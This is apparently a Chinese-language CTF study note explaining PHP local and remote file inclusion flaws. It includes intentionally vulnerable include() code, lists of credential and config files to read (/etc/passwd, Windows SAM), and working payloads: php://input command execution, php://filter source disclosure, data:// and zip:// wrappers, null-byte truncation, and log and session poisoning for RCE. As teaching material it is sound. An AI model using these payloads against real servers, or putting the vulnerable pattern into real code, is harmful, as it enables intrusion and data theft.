Posted on 

php文件包含漏洞

php文件包含漏洞

描述

开发人员为了使得代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞

相关函数

1
2
3
4
include()
include_once()
require()
require_once()

include 和 require的区别在于,如果包含的文件有错误,include会继续往下执行,如果是require就不会

本地包含漏洞(LFI)

一个phpinfo.txt走天下

1
2
3
<?php
phpinfo();
?>
1
2
3
<?php
include("phpinfo.txt");
?>

只要文件内容复合php语法规范,那么任何扩展名都可以被php解析
包含非php语法规范原文件时,将会暴露其源代码

典型的漏洞代码

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>

filename没有进行过滤,可以被用户控制
这里可以结合目录遍历漏洞查看敏感信息

远程文件包含(RFI)

注:要确定php是否已经开启远程包含功能(默认是关闭)

1
alow_url_include = On

栗子:

www.text.com根目录存在phpinfo.txt

1
2
3
<?php
include($_GET['a'])
?>

www.text.com?a=http://www.text.com/phpinfo.txt

若文件不存在,也可以通过观察暴露出的警告

敏感文件利用

利用重点:找到可控的文件

对于可执行的文件(包含可执行php代码的文件,不一定是php后缀):可以直接利用文件包含执行
对于不可执行的文件:可以利用文件包含查看其内容

Windows系统:

文件 内容
C:\boot.ini 系统版本
C:\windows\system32\intetsrv\MetaBase.xml IIS配置文件
C:\windows\repair\sam 存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini Mysql配置
C:\windows\mysql\data\mysql\user.MYD Mysql root
C:\window\php.inis php配置信息
C:\windows\my.ini Mysql配置文件

Unix/Linux系统:

文件 内容
/etc/passwd
/usr/local/app/apache/conf/httpd.conf apache默认配置文件
/usr/local/app/apache/conf/extra/httpd-vhosts.conf 虚拟网站设置
/usr/local/app/php5/lib/php.ini php相关设置
/etc/httpd/conf/httpd.conf apache配置文件
/etc/my.cnf mysql的配置文件

远程包含shell

若目标主机allow_url_fopen的选项是激活的,然后包含一句话木马

(1) allow_url_fopen=on
本选项激活了URL形式的fopen封装协议使得可以访问URL对象例如文件,默认的封装协议提供ftp和http协议来访问远程文件,一些扩展库例如zlib可能会注册更多的封装协议
(2) allow_url_include=on
This option allows the use of URL-aware fopen wrappers with the following functions: include…

?filename=你的远程文件路径
远程文件中的php代码会被解析
若后缀名写死了,可以用?绕过

伪协议

php://input

代表可以访问请求的原始数据,可以获取到post的数据并将其作为php代码执行

条件:

1
2
3
4
5
6
allow_url_fopen: off/on

allow_url_include: on
index.php?file=php://input
POST:
<? phpinfo(); ?>

利用

遇到file_get_contents()可以利用该协议

1
2
file_get_contents("php://input");
POST:xxx

写木马

条件:php中开启allow_url_fopen 和 allow_url_include(PHP < 5.3.0)

POST: 木马

命令执行

POST:

1
<?php system('ls -a');?>

php://output

只写的数据流

file:

file://[绝对路径及文件名]

访问本地文件

php://filter

一种元封装器,设计用于数据流打开时的筛选过滤应用,也就是过滤器

参数:

1
2
3
4
5
6
7
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。

read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

常用的payload:

1
2
3
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter/convert.base64-encode/resource=/flag
php://filter/write=convert.base64-decode/resource=xxx.php

这里就是使用convert.base64-encode这个过滤器,对xxx.php的内容进行base64编码后再读取

还有其他一些奇妙的编码

1
2
stream_filter_append stream_filter_prepend
给流添加过滤器

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list

https://www.smi1e.top/文件包含漏洞与php伪协议/

https://www.php.net/manual/zh/filters.php

data:

data:资源类型;编码,内容

1
2
3
4
data://text/plain,xxxxx
data:text/plain,xxxxx
data://text/plain;base64,xxxxx
data:text/plain;base64,xxxxx

压缩包伪协议

pchar://

zip://

1
?url=zip://xxxxxx#phpinfo.php

绕过限制

截断

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename,".html");
?>

%00截断->导致扩展名被截断

(1) magic_quotes_gpc=off(2) PHP<5.3.4
构造超过最大长度限制payload-系统会将后面的路径丢弃,扩展名被截断
Windows下目录的最大路径256BLinux下目录的最大路径长度为4096B

注意这里要# 有编码问题时替换成#

编码绕过

url多次编码
unicode形近字型绕过

利用日志文件

用户发起请求时会将请求写入 access.log

发生错误时将错误写入 error.log

一些常见的日志路径:

/var/log/nginx/access.log
/var/log/apache2/access.log

包含session

php的session文件保存路径可以在phpinfo中的session.save_path看到,若为空,说明在默认存放位置

命名格式:sess_[PHPSESSID]

1
2
3
4
1./var/lib/php/sess_PHPSESSID
(php5 or php 7 or php)
2./tmp/sess_PHPSESSID
3./tmp/sessions/sess_PHPSESSID

查看PHPSESSID

F12-Application-Cookies

一个小参考,先记录一些未来可能出现的考点

1
session.save_path=""  --设置session的存储路径session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式),默认files以文件存储session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动session.serialize_handler  string --定义用来序列化/

https://zhuanlan.zhihu.com/p/90879209

利用session文件包含漏洞RCE

session.upload_progress.enabled

若不在php.ini中将其置为Off,就会在上传过程中生成上传进度文件,并且可以从phpinfo中获取

当session中的内容可以控制(如传参内容没被过滤,传入的值存储到session中),就可以利用传参的过程获取敏感信息或RCE